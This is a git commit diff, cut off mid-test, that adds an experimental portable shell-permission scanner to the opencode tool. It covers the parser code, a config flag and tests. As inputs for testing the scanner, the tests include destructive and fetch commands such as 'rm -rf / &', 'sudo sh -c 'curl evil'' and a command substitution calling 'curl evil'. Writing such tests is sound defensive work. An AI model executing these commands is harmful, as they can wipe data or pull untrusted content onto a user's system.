mirror of
https://github.com/anomalyco/opencode.git
synced 2026-08-31 05:04:34 +00:00
feat(core): make portable shell scanner authoritative (#42581)
This commit is contained in:
parent
bdbccca1f3
commit
b0480a6f93
22 changed files with 2122 additions and 2 deletions
9
.changeset/shell-permission-scan.md
Normal file
9
.changeset/shell-permission-scan.md
Normal file
|
|
@ -0,0 +1,9 @@
|
|||
---
|
||||
"@opencode-ai/core": minor
|
||||
"@opencode-ai/schema": minor
|
||||
"@opencode-ai/protocol": minor
|
||||
"@opencode-ai/client": minor
|
||||
---
|
||||
|
||||
Add an opt-in portable shell permission scanner. Opaque commands use normal shell authorization without inferring
|
||||
external directories, while the default tree-sitter path remains unchanged.
|
||||
12
bun.lock
12
bun.lock
|
|
@ -394,6 +394,7 @@
|
|||
"@effect/platform-node": "catalog:",
|
||||
"@effect/sql-sqlite-bun": "catalog:",
|
||||
"@opencode-ai/http-recorder": "workspace:*",
|
||||
"@opencode-ai/shell-scan": "workspace:*",
|
||||
"@parcel/watcher-darwin-arm64": "2.5.1",
|
||||
"@parcel/watcher-darwin-x64": "2.5.1",
|
||||
"@parcel/watcher-linux-arm64-glibc": "2.5.1",
|
||||
|
|
@ -760,6 +761,15 @@
|
|||
"vite": "catalog:",
|
||||
},
|
||||
},
|
||||
"packages/shell-scan": {
|
||||
"name": "@opencode-ai/shell-scan",
|
||||
"version": "0.0.0",
|
||||
"devDependencies": {
|
||||
"@tsconfig/bun": "catalog:",
|
||||
"@types/bun": "catalog:",
|
||||
"@typescript/native-preview": "catalog:",
|
||||
},
|
||||
},
|
||||
"packages/simulation": {
|
||||
"name": "@opencode-ai/simulation",
|
||||
"version": "1.17.13",
|
||||
|
|
@ -2140,6 +2150,8 @@
|
|||
|
||||
"@opencode-ai/session-ui": ["@opencode-ai/session-ui@workspace:packages/session-ui"],
|
||||
|
||||
"@opencode-ai/shell-scan": ["@opencode-ai/shell-scan@workspace:packages/shell-scan"],
|
||||
|
||||
"@opencode-ai/simulation": ["@opencode-ai/simulation@workspace:packages/simulation"],
|
||||
|
||||
"@opencode-ai/slack": ["@opencode-ai/slack@workspace:packages/slack"],
|
||||
|
|
|
|||
|
|
@ -1835,6 +1835,7 @@ export type ConfigEntry =
|
|||
}
|
||||
}
|
||||
experimental?: {
|
||||
portable_shell_scanner?: boolean
|
||||
subagent_depth?: number
|
||||
policies?: Array<{ action: "provider.use"; resource: string; effect: "allow" | "deny" }>
|
||||
}
|
||||
|
|
|
|||
|
|
@ -80,6 +80,7 @@
|
|||
"@types/bun": "catalog:",
|
||||
"@types/node": "catalog:",
|
||||
"@types/which": "3.0.4",
|
||||
"@opencode-ai/shell-scan": "workspace:*",
|
||||
"@parcel/watcher-darwin-arm64": "2.5.1",
|
||||
"@parcel/watcher-darwin-x64": "2.5.1",
|
||||
"@parcel/watcher-linux-arm64-glibc": "2.5.1",
|
||||
|
|
|
|||
|
|
@ -20,6 +20,16 @@ const result = await Bun.build({
|
|||
format: "esm",
|
||||
packages: "external",
|
||||
external: ["#sqlite", "#pty", "#fff", "#photon-wasm", "#shell-parser-wasm", "#process-lock-ffi", "#v1-migration"],
|
||||
plugins: [
|
||||
{
|
||||
name: "bundle-shell-scan",
|
||||
setup(build) {
|
||||
build.onResolve({ filter: /^@opencode-ai\/shell-scan$/ }, () => ({
|
||||
path: path.resolve("../shell-scan/src/index.ts"),
|
||||
}))
|
||||
},
|
||||
},
|
||||
],
|
||||
splitting: true,
|
||||
loader: {
|
||||
".txt": "text",
|
||||
|
|
|
|||
|
|
@ -401,6 +401,15 @@ function normalizeExperimental(
|
|||
unsupportedExperimental.forEach((key) =>
|
||||
unsupportedIfPresent(experimental, key, ["experimental", key], diagnostics),
|
||||
)
|
||||
if (own(experimental, "portable_shell_scanner")) {
|
||||
const value = decodeEncoded(
|
||||
ConfigExperimental.Info.fields.portable_shell_scanner,
|
||||
experimental.portable_shell_scanner,
|
||||
["experimental", "portable_shell_scanner"],
|
||||
diagnostics,
|
||||
)
|
||||
if (value !== undefined) result.portable_shell_scanner = value
|
||||
}
|
||||
if (own(experimental, "subagent_depth")) {
|
||||
const value = decodeEncoded(
|
||||
ConfigExperimental.Info.fields.subagent_depth,
|
||||
|
|
|
|||
|
|
@ -9,6 +9,7 @@ import { shellParserWasm } from "#shell-parser-wasm"
|
|||
import { ShellSelect } from "./select.js"
|
||||
|
||||
type Part = { type: string; text: string }
|
||||
type SourceToken = { raw: string; value: string }
|
||||
const CWD = new Set(["cd", "chdir", "popd", "pushd", "push-location", "set-location"])
|
||||
const POWERSHELL_PATH_FLAGS = new Set(["-literalpath", "-path"])
|
||||
|
||||
|
|
@ -152,7 +153,17 @@ const ARITY: Record<string, number> = {
|
|||
"yarn run": 3,
|
||||
}
|
||||
|
||||
export const scan = Effect.fn("ShellParse.scan")(function* (command: string, shell: string, cwd: string) {
|
||||
export const scan = Effect.fn("ShellParse.scan")(function* (
|
||||
command: string,
|
||||
shell: string,
|
||||
cwd: string,
|
||||
options?: { portable?: boolean },
|
||||
) {
|
||||
if (options?.portable) return yield* Effect.promise(() => scanPortable(command, shell, cwd))
|
||||
return yield* scanLegacy(command, shell, cwd)
|
||||
})
|
||||
|
||||
const scanLegacy = Effect.fn("ShellParse.scanLegacy")(function* (command: string, shell: string, cwd: string) {
|
||||
const parsers = yield* Effect.promise(load)
|
||||
const powershell = ShellSelect.ps(shell)
|
||||
const tree = (powershell ? parsers.ps : parsers.bash).parse(command)
|
||||
|
|
@ -186,6 +197,417 @@ export const scan = Effect.fn("ShellParse.scan")(function* (command: string, she
|
|||
)
|
||||
})
|
||||
|
||||
async function scanPortable(command: string, shell: string, cwd: string) {
|
||||
const { ShellScan } = await import("@opencode-ai/shell-scan")
|
||||
const powershell = ShellSelect.ps(shell)
|
||||
const result = powershell ? ShellScan.scanPowerShell(command) : ShellScan.scan(command)
|
||||
if (result.kind === "opaque") return { commands: [{ resource: command, save: command }], directories: [] }
|
||||
const carriage = powershell ? command.search(/\r(?!\n)/) : -1
|
||||
if (carriage >= 0) return { commands: [], directories: [] }
|
||||
|
||||
const parsed = result.commands.reduce(
|
||||
(output, item) => {
|
||||
const index = item[ShellScan.Nested] ? -1 : command.indexOf(item.resource, output.cursor)
|
||||
const offset = item[ShellScan.Nested]
|
||||
? command.lastIndexOf(item.resource, output.cursor - 1)
|
||||
: index < 0
|
||||
? command.indexOf(item.resource)
|
||||
: index
|
||||
if (index >= 0) output.cursor = index + item.resource.length
|
||||
const before = command.slice(0, Math.max(0, offset))
|
||||
const name = powershell ? item.words[0]?.toLowerCase() : item.words[0]
|
||||
if (!name) return output
|
||||
if (powershell && name === "<") return output
|
||||
if (
|
||||
powershell &&
|
||||
name === "foreach-object" &&
|
||||
item.words.some((word) => word.startsWith("{")) &&
|
||||
!/\|\s*$/.test(before)
|
||||
)
|
||||
return output
|
||||
const tokens = powershell ? powerShellSourceTokens(item.resource) : sourceTokens(item.resource)
|
||||
const sourceHead = powershell ? item.words[0] : tokens.find((token) => token.value === item.words[0])?.raw
|
||||
if (CWD.has(name) && (powershell || sourceHead === item.words[0])) {
|
||||
output.directories.push(...portableDirectoryArgs(item.words, tokens, powershell, cwd, shell))
|
||||
return output
|
||||
}
|
||||
const save = powershell ? powerShellSourcePrefix(tokens, item.words) : bashSourcePrefix(tokens, item.words)
|
||||
output.commands.push({
|
||||
resource: powershell ? item.resource : bashResource(item.resource, before),
|
||||
save: `${save} *`,
|
||||
})
|
||||
return output
|
||||
},
|
||||
{
|
||||
commands: [] as Array<{ resource: string; save: string }>,
|
||||
directories: [] as string[],
|
||||
cursor: 0,
|
||||
},
|
||||
)
|
||||
return { commands: parsed.commands, directories: parsed.directories }
|
||||
}
|
||||
|
||||
function bashResource(resource: string, before: string) {
|
||||
if (!/(?:&&|\|\||\|&)\s*$|\|\s*$/.test(before)) return resource
|
||||
const redirect = bashRedirect(resource)
|
||||
return redirect < 0 ? resource : resource.slice(0, redirect).replace(/\d+$/, "").trim()
|
||||
}
|
||||
|
||||
function bashRedirect(resource: string) {
|
||||
let quote: "single" | "double" | undefined
|
||||
for (let index = 0; index < resource.length; index++) {
|
||||
const char = resource[index]
|
||||
if (quote === "single") {
|
||||
if (char === "'") quote = undefined
|
||||
continue
|
||||
}
|
||||
if (char === "\\") {
|
||||
index++
|
||||
continue
|
||||
}
|
||||
if (char === '"') {
|
||||
quote = quote === "double" ? undefined : "double"
|
||||
continue
|
||||
}
|
||||
if (quote === "double") {
|
||||
if (char === "$" && resource[index + 1] === "(") index = bashParenthesizedEnd(resource, index + 1)
|
||||
else if (char === "`") index = bashBacktickEnd(resource, index)
|
||||
continue
|
||||
}
|
||||
if (char === "'") {
|
||||
quote = "single"
|
||||
continue
|
||||
}
|
||||
if ((char === "$" || char === "<" || char === ">") && resource[index + 1] === "(") {
|
||||
index = bashParenthesizedEnd(resource, index + 1)
|
||||
continue
|
||||
}
|
||||
if (char === "`") {
|
||||
index = bashBacktickEnd(resource, index)
|
||||
continue
|
||||
}
|
||||
if (char === "<" || char === ">" || (char === "&" && resource[index + 1] === ">")) return index
|
||||
}
|
||||
return -1
|
||||
}
|
||||
|
||||
function bashParenthesizedEnd(resource: string, start: number) {
|
||||
let level = 1
|
||||
let quote: "single" | "double" | undefined
|
||||
for (let index = start + 1; index < resource.length; index++) {
|
||||
const char = resource[index]
|
||||
if (quote === "single") {
|
||||
if (char === "'") quote = undefined
|
||||
continue
|
||||
}
|
||||
if (char === "\\") {
|
||||
index++
|
||||
continue
|
||||
}
|
||||
if (char === '"') {
|
||||
quote = quote === "double" ? undefined : "double"
|
||||
continue
|
||||
}
|
||||
if (quote === "double") continue
|
||||
if (char === "'") {
|
||||
quote = "single"
|
||||
continue
|
||||
}
|
||||
if (char === "(") level++
|
||||
if (char === ")" && --level === 0) return index
|
||||
}
|
||||
return resource.length - 1
|
||||
}
|
||||
|
||||
function bashBacktickEnd(resource: string, start: number) {
|
||||
for (let index = start + 1; index < resource.length; index++) {
|
||||
if (resource[index] === "\\") index++
|
||||
else if (resource[index] === "`") return index
|
||||
}
|
||||
return resource.length - 1
|
||||
}
|
||||
|
||||
function portableDirectoryArgs(
|
||||
command: string[],
|
||||
tokens: SourceToken[],
|
||||
powershell: boolean,
|
||||
cwd: string,
|
||||
shell: string,
|
||||
) {
|
||||
if (!powershell) {
|
||||
const start = tokens.findIndex((token) => token.value === command[0])
|
||||
if (start < 0) return []
|
||||
return directoryArgs(
|
||||
tokens.slice(start).map((token) => ({ type: "word", text: token.raw })),
|
||||
false,
|
||||
cwd,
|
||||
shell,
|
||||
)
|
||||
}
|
||||
|
||||
const start = tokens.findIndex((token) => token.value.toLowerCase() === command[0]?.toLowerCase())
|
||||
if (start < 0) return []
|
||||
const directories: string[] = []
|
||||
let expectsPath = false
|
||||
for (const part of tokens.slice(start + 1).map((token) => token.raw)) {
|
||||
if (expectsPath) {
|
||||
const value = directoryArgument(part, true, cwd, shell)
|
||||
if (value) directories.push(value)
|
||||
expectsPath = false
|
||||
continue
|
||||
}
|
||||
if (part.startsWith("-")) {
|
||||
expectsPath = POWERSHELL_PATH_FLAGS.has(part.toLowerCase())
|
||||
continue
|
||||
}
|
||||
const value = directoryArgument(part, true, cwd, shell)
|
||||
if (value) directories.push(value)
|
||||
}
|
||||
return directories
|
||||
}
|
||||
|
||||
function sourceTokens(resource: string) {
|
||||
const tokens: SourceToken[] = []
|
||||
let raw = ""
|
||||
let value = ""
|
||||
let quote: "single" | "double" | "backtick" | undefined
|
||||
let substitution = 0
|
||||
let redirect = false
|
||||
|
||||
const finish = () => {
|
||||
if (!raw) return
|
||||
if (!redirect) tokens.push({ raw, value })
|
||||
raw = ""
|
||||
value = ""
|
||||
redirect = false
|
||||
}
|
||||
|
||||
for (let index = 0; index < resource.length; index++) {
|
||||
const char = resource[index]
|
||||
if (quote === "single") {
|
||||
raw += char
|
||||
if (char === "'") quote = undefined
|
||||
else value += char
|
||||
continue
|
||||
}
|
||||
if (quote === "double") {
|
||||
raw += char
|
||||
if (char === '"') quote = undefined
|
||||
else if (char === "\\" && index + 1 < resource.length) {
|
||||
const next = resource[index + 1]
|
||||
if ('$`"\\\n'.includes(next)) {
|
||||
raw += resource[++index]
|
||||
if (next !== "\n") value += next
|
||||
} else value += char
|
||||
} else value += char
|
||||
continue
|
||||
}
|
||||
if (quote === "backtick") {
|
||||
raw += char
|
||||
value += char
|
||||
if (char === "`" && resource[index - 1] !== "\\") quote = undefined
|
||||
continue
|
||||
}
|
||||
if (char === "'") {
|
||||
raw += char
|
||||
quote = "single"
|
||||
continue
|
||||
}
|
||||
if (char === '"') {
|
||||
raw += char
|
||||
quote = "double"
|
||||
continue
|
||||
}
|
||||
if (char === "`") {
|
||||
raw += char
|
||||
value += char
|
||||
quote = "backtick"
|
||||
continue
|
||||
}
|
||||
if (char === "\\" && index + 1 < resource.length) {
|
||||
if (resource[index + 1] === "\n") {
|
||||
finish()
|
||||
index++
|
||||
continue
|
||||
}
|
||||
if (!raw && /\s/.test(resource[index + 1])) {
|
||||
index++
|
||||
continue
|
||||
}
|
||||
raw += char + resource[++index]
|
||||
value += resource[index]
|
||||
continue
|
||||
}
|
||||
if ((char === "<" || char === ">") && resource[index + 1] === "(") {
|
||||
const end = bashParenthesizedEnd(resource, index + 1)
|
||||
if (raw) {
|
||||
raw += resource.slice(index, end + 1)
|
||||
value += resource.slice(index, end + 1)
|
||||
}
|
||||
index = end
|
||||
continue
|
||||
}
|
||||
if (char === "$" && resource[index + 1] === "(") substitution++
|
||||
if (char === ")" && substitution > 0) substitution--
|
||||
if (substitution === 0 && /\s/.test(char)) {
|
||||
finish()
|
||||
continue
|
||||
}
|
||||
if (substitution === 0 && (char === "<" || char === ">" || (char === "&" && resource[index + 1] === ">"))) {
|
||||
if (/^\d+$/.test(value)) {
|
||||
raw = ""
|
||||
value = ""
|
||||
} else finish()
|
||||
redirect = true
|
||||
if (char === "&") index++
|
||||
while (/[<>&|]/.test(resource[index + 1] ?? "")) index++
|
||||
continue
|
||||
}
|
||||
raw += char
|
||||
value += char
|
||||
}
|
||||
finish()
|
||||
|
||||
return tokens
|
||||
}
|
||||
|
||||
function bashSourcePrefix(tokens: SourceToken[], words: string[]) {
|
||||
const start = tokens.findIndex((token) => token.value === words[0])
|
||||
if (start < 0) {
|
||||
const command = tokens.findIndex((token) => !/^[A-Za-z_][A-Za-z0-9_]*\+?=/.test(token.raw))
|
||||
return prefix(tokens.slice(Math.max(0, command)).map((token) => token.raw)).join(" ")
|
||||
}
|
||||
const source = tokens
|
||||
.slice(start)
|
||||
.map((token) => token.raw)
|
||||
.filter((token) => !/^\$\([\s\S]*\)$/.test(token) && !/^`[\s\S]*`$/.test(token))
|
||||
return prefix(source).join(" ")
|
||||
}
|
||||
|
||||
function powerShellSourcePrefix(tokens: SourceToken[], words: string[]) {
|
||||
const start = tokens.findIndex((token) => token.value.toLowerCase() === words[0]?.toLowerCase())
|
||||
if (start < 0) return prefix(words).join(" ")
|
||||
return prefix(tokens.slice(start).map((token) => token.raw)).join(" ")
|
||||
}
|
||||
|
||||
function powerShellSourceTokens(resource: string) {
|
||||
const tokens: SourceToken[] = []
|
||||
let raw = ""
|
||||
let value = ""
|
||||
let quote: "single" | "double" | undefined
|
||||
let redirect = false
|
||||
|
||||
const finish = () => {
|
||||
if (!raw) return
|
||||
if (!redirect) tokens.push({ raw, value })
|
||||
raw = ""
|
||||
value = ""
|
||||
redirect = false
|
||||
}
|
||||
|
||||
for (let index = 0; index < resource.length; index++) {
|
||||
const char = resource[index]
|
||||
if (quote === "single") {
|
||||
raw += char
|
||||
if (char === "'" && resource[index + 1] === "'") {
|
||||
raw += resource[++index]
|
||||
value += "'"
|
||||
} else if (char === "'") quote = undefined
|
||||
else value += char
|
||||
continue
|
||||
}
|
||||
if (quote === "double") {
|
||||
raw += char
|
||||
if (char === '"') quote = undefined
|
||||
else if (char === "`" && index + 1 < resource.length) {
|
||||
raw += resource[++index]
|
||||
value += resource[index]
|
||||
} else value += char
|
||||
continue
|
||||
}
|
||||
if (char === "'") {
|
||||
raw += char
|
||||
quote = "single"
|
||||
continue
|
||||
}
|
||||
if (char === '"') {
|
||||
raw += char
|
||||
quote = "double"
|
||||
continue
|
||||
}
|
||||
if (char === "`" && index + 1 < resource.length) {
|
||||
raw += char + resource[++index]
|
||||
if (resource[index] !== "\n" && resource[index] !== "\r") value += resource[index]
|
||||
continue
|
||||
}
|
||||
if (char === "{" && !raw) {
|
||||
const end = powerShellBracedEnd(resource, index)
|
||||
raw = resource.slice(index, end + 1)
|
||||
value = raw
|
||||
index = end
|
||||
continue
|
||||
}
|
||||
if (/\s/.test(char)) {
|
||||
finish()
|
||||
continue
|
||||
}
|
||||
if (char === ">") {
|
||||
if (resource[index + 1] && !/[\s>&]/.test(resource[index + 1])) {
|
||||
raw += char
|
||||
value += char
|
||||
continue
|
||||
}
|
||||
if (/^\d+$/.test(value)) {
|
||||
raw = ""
|
||||
value = ""
|
||||
} else if (raw === "*") {
|
||||
raw = ""
|
||||
value = ""
|
||||
} else finish()
|
||||
redirect = true
|
||||
while (/[>&\d]/.test(resource[index + 1] ?? "")) index++
|
||||
continue
|
||||
}
|
||||
if ((char === "&" || char === ".") && !raw && tokens.length === 0) continue
|
||||
raw += char
|
||||
value += char
|
||||
}
|
||||
finish()
|
||||
return tokens
|
||||
}
|
||||
|
||||
function powerShellBracedEnd(resource: string, start: number) {
|
||||
let level = 1
|
||||
let quote: "single" | "double" | undefined
|
||||
for (let index = start + 1; index < resource.length; index++) {
|
||||
const char = resource[index]
|
||||
if (char === "`" && quote !== "single") {
|
||||
index++
|
||||
continue
|
||||
}
|
||||
if (quote === "single") {
|
||||
if (char === "'" && resource[index + 1] === "'") index++
|
||||
else if (char === "'") quote = undefined
|
||||
continue
|
||||
}
|
||||
if (quote === "double") {
|
||||
if (char === '"') quote = undefined
|
||||
continue
|
||||
}
|
||||
if (char === "'") {
|
||||
quote = "single"
|
||||
continue
|
||||
}
|
||||
if (char === '"') {
|
||||
quote = "double"
|
||||
continue
|
||||
}
|
||||
if (char === "{") level++
|
||||
if (char === "}" && --level === 0) return index
|
||||
}
|
||||
return resource.length - 1
|
||||
}
|
||||
|
||||
function parts(node: Node) {
|
||||
return Array.from({ length: node.childCount }).flatMap((_, index): Part[] => {
|
||||
const child = node.child(index)
|
||||
|
|
|
|||
|
|
@ -163,7 +163,11 @@ export const Plugin = {
|
|||
invocation.cwd = target.absolute
|
||||
finalTimeout = invocation.timeout
|
||||
if (!unrestricted) {
|
||||
const parsed = yield* ShellParse.scan(invocation.command, invocation.shell, target.absolute)
|
||||
const portable =
|
||||
Config.latest(yield* config.entries(), "experimental")?.portable_shell_scanner === true
|
||||
const parsed = yield* ShellParse.scan(invocation.command, invocation.shell, target.absolute, {
|
||||
portable,
|
||||
})
|
||||
const directories = yield* Effect.forEach(parsed.directories, (directory) =>
|
||||
mutation.resolve({ path: path.resolve(target.absolute, directory), kind: "directory" }),
|
||||
)
|
||||
|
|
|
|||
|
|
@ -393,11 +393,13 @@ describe("ConfigNormalize", () => {
|
|||
enabled_providers: ["anthropic"],
|
||||
disabled_providers: ["openai"],
|
||||
experimental: {
|
||||
portable_shell_scanner: true,
|
||||
subagent_depth: 0,
|
||||
policies: [{ action: "provider.use", resource: "custom", effect: "allow" }],
|
||||
},
|
||||
}).encoded.experimental,
|
||||
).toEqual({
|
||||
portable_shell_scanner: true,
|
||||
subagent_depth: 0,
|
||||
policies: [
|
||||
{ action: "provider.use", resource: "*", effect: "deny" },
|
||||
|
|
|
|||
180
packages/core/test/shell-parse-parity.test.ts
Normal file
180
packages/core/test/shell-parse-parity.test.ts
Normal file
|
|
@ -0,0 +1,180 @@
|
|||
import { describe, expect, test } from "bun:test"
|
||||
import { ShellScan } from "@opencode-ai/shell-scan"
|
||||
import { Effect } from "effect"
|
||||
import { ShellParse } from "../src/shell/parse.js"
|
||||
|
||||
describe("ShellParse portable parity", () => {
|
||||
test("matches tree-sitter for generated supported syntax", async () => {
|
||||
for (const [shell, command] of generated()) {
|
||||
const scanned = shell === "pwsh" ? ShellScan.scanPowerShell(command) : ShellScan.scan(command)
|
||||
const portable = await Effect.runPromise(ShellParse.scan(command, shell, "/workspace", { portable: true }))
|
||||
|
||||
if (scanned.kind === "opaque") {
|
||||
expect({ command, portable }).toEqual({
|
||||
command,
|
||||
portable: { commands: [{ resource: command, save: command }], directories: [] },
|
||||
})
|
||||
continue
|
||||
}
|
||||
if (shell === "pwsh" && /\r(?!\n)/.test(command)) {
|
||||
expect(portable).toEqual({ commands: [], directories: [] })
|
||||
continue
|
||||
}
|
||||
|
||||
const legacy = await Effect.runPromise(ShellParse.scan(command, shell, "/workspace"))
|
||||
expect({ command, portable }).toEqual({ command, portable: legacy })
|
||||
}
|
||||
})
|
||||
})
|
||||
|
||||
function generated() {
|
||||
const result: Array<[shell: string, command: string]> = []
|
||||
const bashHeads = ["git", "npm", "echo", "printf", "cat", "cd"]
|
||||
const bashArgs = [
|
||||
"",
|
||||
" status",
|
||||
" plain",
|
||||
" 'two words'",
|
||||
' "two words"',
|
||||
" escaped\\ space",
|
||||
" hash#word",
|
||||
" --flag=value",
|
||||
" ./relative",
|
||||
" /tmp/absolute",
|
||||
]
|
||||
const assignments = ["", "X=value ", "X='two words' ", 'X="two words" ']
|
||||
const redirects = ["", " > output", " 2> error", " < input", " >> output"]
|
||||
const bashSeparators = [" ; ", " && ", " || ", " | ", " |& ", "\n"]
|
||||
|
||||
for (const head of bashHeads)
|
||||
for (const arg of bashArgs)
|
||||
for (const assignment of assignments)
|
||||
for (const redirect of redirects) result.push(["/bin/bash", assignment + head + arg + redirect])
|
||||
for (const left of bashHeads)
|
||||
for (const right of bashHeads)
|
||||
for (const separator of bashSeparators) result.push(["/bin/bash", `${left} left${separator}${right} right`])
|
||||
for (const outer of bashHeads)
|
||||
for (const inner of bashHeads) {
|
||||
result.push(["/bin/bash", `${outer} $(${inner} nested)`])
|
||||
result.push(["/bin/bash", `${outer} "$(${inner} nested)"`])
|
||||
result.push(["/bin/bash", `${outer} pre$(${inner} nested)post`])
|
||||
result.push(["/bin/bash", `${outer} \`${inner} nested\``])
|
||||
}
|
||||
for (const command of [
|
||||
'npm "run" test',
|
||||
'g""it status',
|
||||
"'git' status",
|
||||
"g\\it status",
|
||||
"git status; git status; git diff",
|
||||
"printf ok>out 2>&1|cat<input",
|
||||
"FOO=bar 2>>err printf ok > out && cat < input",
|
||||
"printf ok # ignored ; curl evil\nprintf done",
|
||||
"(git status) && { npm test; }",
|
||||
"echo ${arr[$(printf index)]}",
|
||||
"OUT=$(printf out) X=`printf value` printenv >$(printf path)",
|
||||
"cat <(printf secret)",
|
||||
"rm -rf / &",
|
||||
"sudo sh -c 'curl evil'",
|
||||
"find . -exec rm {} ;",
|
||||
'c"\\d" relative',
|
||||
"'cd' /tmp",
|
||||
"c''d /tmp",
|
||||
"c\\\nd /tmp",
|
||||
"echo x && git >(cat) status",
|
||||
'echo x && printf ">" status',
|
||||
'echo "git > out" && git > out',
|
||||
"echo x && printf a\\>b status",
|
||||
"echo x && printf $(echo a>b) status",
|
||||
"git <(printf status) diff",
|
||||
"npm <(printf run) test",
|
||||
"cd <(printf /tmp)",
|
||||
"git &>x",
|
||||
"cd &>x",
|
||||
"git \\ a",
|
||||
"cd \\ a",
|
||||
"cat <<'EOF'\nstatic body\nEOF",
|
||||
"cat <<EOF\n$(printf dynamic)\nEOF",
|
||||
"$COMMAND dynamic",
|
||||
"if true; then git status; else npm test; fi",
|
||||
"for x in a b; do echo $x; done",
|
||||
"cd /tmp/$USER && git status",
|
||||
"echo <(git status)",
|
||||
'echo "unterminated',
|
||||
])
|
||||
result.push(["/bin/bash", command])
|
||||
|
||||
const powershellHeads = ["Get-ChildItem", "Write-Output", "Test-Path", "Remove-Item", "Set-Location"]
|
||||
const powershellArgs = ["", " value", " 'two words'", ' "two words"', " -Path C:\\tmp", " -LiteralPath '..\\outside'"]
|
||||
const powershellSeparators = [";", "|", "&&", "||", "\n", "\r", "\r\n"]
|
||||
for (const head of powershellHeads) for (const arg of powershellArgs) result.push(["pwsh", head + arg])
|
||||
for (const left of powershellHeads)
|
||||
for (const right of powershellHeads)
|
||||
for (const separator of powershellSeparators) result.push(["pwsh", `${left} left${separator}${right} right`])
|
||||
for (const command of [
|
||||
"Get-ChildItem; Get-ChildItem; Write-Output done",
|
||||
"Write-Output 'a''b; still string'; Write-Output \"a`\"; still string\"",
|
||||
"Get-Content in.txt > out.txt 2>&1 | Out-File all.log",
|
||||
"Write-Output ok > output.txt # ignored\nGet-ChildItem",
|
||||
"Write-Output ok > output.txt # ignored\rGet-ChildItem",
|
||||
"Write-Output ok > output.txt # ignored\r\nGet-ChildItem",
|
||||
"& git status",
|
||||
". ./deploy.ps1",
|
||||
"Get-ChildItem | ForEach-Object { Remove-Item $_ }",
|
||||
"ForEach-Object { Remove-Item $_ }",
|
||||
"&Remove-Item victim",
|
||||
"< #\nRemove-Item victim",
|
||||
"Microsoft.PowerShell.Management\\Get-Item x; Remove-Item y",
|
||||
'git "status"',
|
||||
"git st`atus",
|
||||
'npm "run" test',
|
||||
'docker "compose" up',
|
||||
"git >x",
|
||||
"git *>&1",
|
||||
"git foo2>bar",
|
||||
"git 12>bar",
|
||||
"git a`;b",
|
||||
"git & Write-Output q",
|
||||
"Write-Output 'ForEach-Object { Remove-Item x }' | ForEach-Object { Remove-Item x }",
|
||||
"$Command value",
|
||||
"& $Command value",
|
||||
'Write-Output "$(Get-ChildItem)"',
|
||||
"if ($true) { Get-ChildItem } else { Remove-Item victim }",
|
||||
"Set-Location $env:TEMP; Get-ChildItem",
|
||||
'Write-Output "unterminated',
|
||||
])
|
||||
result.push(["pwsh", command])
|
||||
|
||||
let state = 0x5eed1234
|
||||
const random = (length: number) => {
|
||||
state = (Math.imul(state, 1664525) + 1013904223) >>> 0
|
||||
return state % length
|
||||
}
|
||||
for (let index = 0; index < 10_000; index++) {
|
||||
const left = bashHeads[random(bashHeads.length)]
|
||||
const right = bashHeads[random(bashHeads.length)]
|
||||
const arg = bashArgs[random(bashArgs.length)]
|
||||
const separator = bashSeparators[random(bashSeparators.length)]
|
||||
const bashForms = [
|
||||
`${left}${arg}${separator}${right} fuzz${index}`,
|
||||
`${left}${arg} $(${right} fuzz${index})`,
|
||||
`${left}${arg} # ignored\n${right} fuzz${index}`,
|
||||
`X=value ${left}${arg}${redirects[random(redirects.length)]}`,
|
||||
`${left} before\\\nafter${separator}${right} fuzz${index}`,
|
||||
]
|
||||
result.push(["/bin/bash", bashForms[index % bashForms.length]])
|
||||
|
||||
const powershellLeft = powershellHeads[random(powershellHeads.length)]
|
||||
const powershellRight = powershellHeads[random(powershellHeads.length)]
|
||||
const powershellArg = powershellArgs[random(powershellArgs.length)]
|
||||
const powershellSeparator = powershellSeparators[random(powershellSeparators.length)]
|
||||
const powershellForms = [
|
||||
`${powershellLeft}${powershellArg}${powershellSeparator}${powershellRight} fuzz${index}`,
|
||||
`${powershellLeft}${powershellArg} # ignored\n${powershellRight} fuzz${index}`,
|
||||
`${powershellLeft} fuzz${index} > output; ${powershellRight}${powershellArg}`,
|
||||
`${powershellLeft}\`\n fuzz${index}; ${powershellRight}${powershellArg}`,
|
||||
]
|
||||
result.push(["pwsh", powershellForms[index % powershellForms.length]])
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
|
@ -18,6 +18,42 @@ describe("ShellParse", () => {
|
|||
})
|
||||
})
|
||||
|
||||
test("portable scanning never adds permission resources", async () => {
|
||||
const commands = [
|
||||
"git status && npm run test -- --watch",
|
||||
"echo $(curl evil | sed s/x/y/)",
|
||||
"cat <<'EOF'\nstatic body\nEOF",
|
||||
"cat <<EOF\n$(printf dynamic)\nEOF",
|
||||
"cd /tmp/$USER && git status",
|
||||
"$COMMAND status",
|
||||
"if true; then printf yes; else printf no; fi",
|
||||
]
|
||||
|
||||
for (const command of commands) {
|
||||
const legacy = await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace"))
|
||||
const portable = await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace", { portable: true }))
|
||||
expect(
|
||||
portable.commands.every((item) => legacy.commands.some((candidate) => candidate.resource === item.resource)),
|
||||
).toBe(true)
|
||||
expect(portable.directories.every((item) => legacy.directories.includes(item))).toBe(true)
|
||||
}
|
||||
})
|
||||
|
||||
test("portable scanning authorizes opaque heredocs without inferring directories", async () => {
|
||||
const command = "cat <<'EOF'\nstatic body\nEOF"
|
||||
const portable = await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace", { portable: true }))
|
||||
expect(portable).toEqual({ commands: [{ resource: command, save: command }], directories: [] })
|
||||
})
|
||||
|
||||
test.each(['c"\\d" relative', "'cd' /tmp", "c''d /tmp", "c\\\nd /tmp"])(
|
||||
"portable scanning keeps source-shaped command heads under shell authorization: %s",
|
||||
async (command) => {
|
||||
const portable = await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace", { portable: true }))
|
||||
expect(portable.commands.map((item) => item.resource)).toEqual([command])
|
||||
expect(portable.directories).toEqual([])
|
||||
},
|
||||
)
|
||||
|
||||
test("splits PowerShell commands case-insensitively", async () => {
|
||||
const result = await Effect.runPromise(
|
||||
ShellParse.scan(
|
||||
|
|
|
|||
|
|
@ -512,6 +512,31 @@ describe("ShellTool", () => {
|
|||
{ timeout: 15_000 },
|
||||
)
|
||||
|
||||
it.live("does not add external-directory permission for an experimental portable heredoc", () =>
|
||||
Effect.acquireUseRelease(
|
||||
Effect.promise(() => tmpdir()),
|
||||
(tmp) =>
|
||||
Effect.gen(function* () {
